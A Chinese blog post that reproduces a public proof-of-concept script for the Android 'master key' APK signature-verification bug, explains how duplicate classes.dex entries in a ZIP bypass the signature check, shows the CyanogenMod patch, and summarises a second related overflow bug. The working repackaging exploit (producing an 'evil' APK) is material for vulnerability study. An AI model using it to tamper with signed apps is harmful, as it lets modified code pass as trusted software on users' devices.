Android签名验证漏洞POC及验证
poc实际上就是一段漏洞利用代码,以下是最近炒得很火Android签名验证漏洞POC,来自https://gist.github.com/poliva/36b0795ab79ad6f14fd8
1 #!/bin/bash 2 # PoC for Android bug 8219321 by @pof 3 # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 4 if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ; exit 1 ; fi 5 APK=$1 6 rm -r out out.apk tmp 2>/dev/null 7 java -jar apktool.jar d $APK out 8 #apktool d $APK out 9 echo "Modify files, when done type 'exit'"10 cd out11 bash12 cd ..13 java -jar apktool.jar b out out.apk14 #apktool b out out.apk15 mkdir tmp16 cd tmp/17 unzip ../$APK18 mv ../out.apk .19 cat >poc.py <<-EOF20 #!/usr/bin/python21 import zipfile 22 import sys23 z = zipfile.ZipFile(sys.argv[1], "a")24 z.write(sys.argv[2])25 z.close()26 EOF27 chmod 755 poc.py28 for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done29 cp out.apk ../evil-$APK30 cd ..31 rm -rf tmp out32 echo "Modified APK: evil-$APK"
以上代码可以分成两个部分:
1.修改并重打包apk文件
首先用apktool将目标apk反编译,修改代码后再重打包为out.apk
反编译:java -jar apktool.jar d $APK out修改代码重打包:java -jar apktool.jar b out out.apk
2.解压原apk将修改后的apk压缩在同一个包中
具体过程是:先创建一个临时文件夹tmp,将原apk解压到该文件夹下,然后将out.apk也复制到该文件夹下,然后执行以下shell命令
chmod 755 poc.py#在当前目录下查找除poc.py和out.apk之外的文件file, 并执行./poc.py out.apk filefor f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done
其中poc.py的功能是解压out.apk,并将其与当前目录中除poc.py和out.apk之外的文件压缩在一起。
1 #!/usr/bin/python2 import zipfile 3 import sys4 z = zipfile.ZipFile(sys.argv[1], "a")5 z.write(sys.argv[2])6 z.close()
以下是该poc作者的说明:
I'm duplicating entries inside the apk (original entries + rebuilt entries). The hashes in META-INF folder are from the original signed files, which are checked for signature, but the ones that end up being installed on the device are the duplicated ones.
意思就是说在一个apk包里面部署了2个entryName="classes.dex"的文件:一个是原装的即跟原来签名一致的dex,一个是篡改了的也就是签名不一致的,且恶意的在压缩包字典中位于正常的之前。在安装时解析apk进行签名校验,当entryName相同时,正常的dex会覆盖篡改的dex文件信息,这样就能顺利通过APK证书签名验证过程。而在安装完毕后,真正执行并启动文件使用的是修改过的classex.dex。
由上可知,构造一个同名的entry,即在一个zip里面放置2个同名dex文件是该漏洞利用的关键。
以下转自http://lcx.cc/?i=3734
原理简述
由于ZIP格式允许存在两个或以上完全相同的路径,而安卓系统没有考虑这种场景。在该情况下,android包管理器校验签名取的是最后一个文件的hash,而运行APK加载的dex文件却是zip的第一个dex文件。
包管理器验证签名验的是最后一个(名字相同情况下)文件。
1. 解析zip的所有Entry,结果存到HashMap(key为路径,value为Entry)。
2. 由于HashMap.put在相同key的情况下,会把value更新,导致上述的HashMap在相同路径下,存储的一定是最后一个文件的Entry。
系统加载dex文件,加载的是第一个dex。
1. 查找dex的Entry用的是dexZipFindEntry。
2. dexZipFindEntry的实现是只要match就返回,所以返回的都是第一个文件。
CyanogenMod的修复原理
原代码:
for(int i =0; i < numEntries;++i){ZipEntry newEntry =newZipEntry(hdrBuf, bin); mEntries.put(newEntry.getName(), newEntry);}
修补后:
for(int i =0; i < numEntries;++i){ZipEntry newEntry =newZipEntry(hdrBuf, bin);String entryName = newEntry.getName();if(mEntries.put(entryName, newEntry)!=null){thrownewZipException("Duplicate entry name: "+ entryName);}}
关键代码为if (mEntries.put(entryName, newEntry) != null) {
该put为HashMap的put,key不存在返回null,反之返回原值。也就是说APK的Entry链存在2个或以上相同的路径即抛出异常
相关内容:
Android uncovers master-key 漏洞分析
Bluebox Security提报Android 绕过应用签名认证漏洞原理
补充:第二个andorid签名漏洞
http://blog.csdn.net/androidsecurity/article/details/9984085
第二个andorid签名漏洞,zip格式中的extra filed length大于2^15时会整数溢出变成负数,造成字段索引错误,无法跳过file name 与 extra field,就可以在这两个域放原class.dex文件,后面再跟恶意dex,从而绕过签名检验。但被攻击的Apk里的classes.dex大小必须 在64K以内。否则,就无法对其进行攻击,利用场景比较受限。(http://www.blogbus.com/riusksk-logs/235312099.html)
更多相关文章
- 《第一行代码——Android》
- Android10共享文件总是读取不到文件,文件资源不存在!
- Android学习之文件存储
- Android InputStreamReader 解析gbk、gb2312编码的xml文件 编码
- Android 系統存在設計漏洞,釣魚網站隨時出現
- Android SDK 源代码编译
- android布局实例代码
- android实现文件下载的几种方式
- Android Studio 3.0以后打包修改文件名方法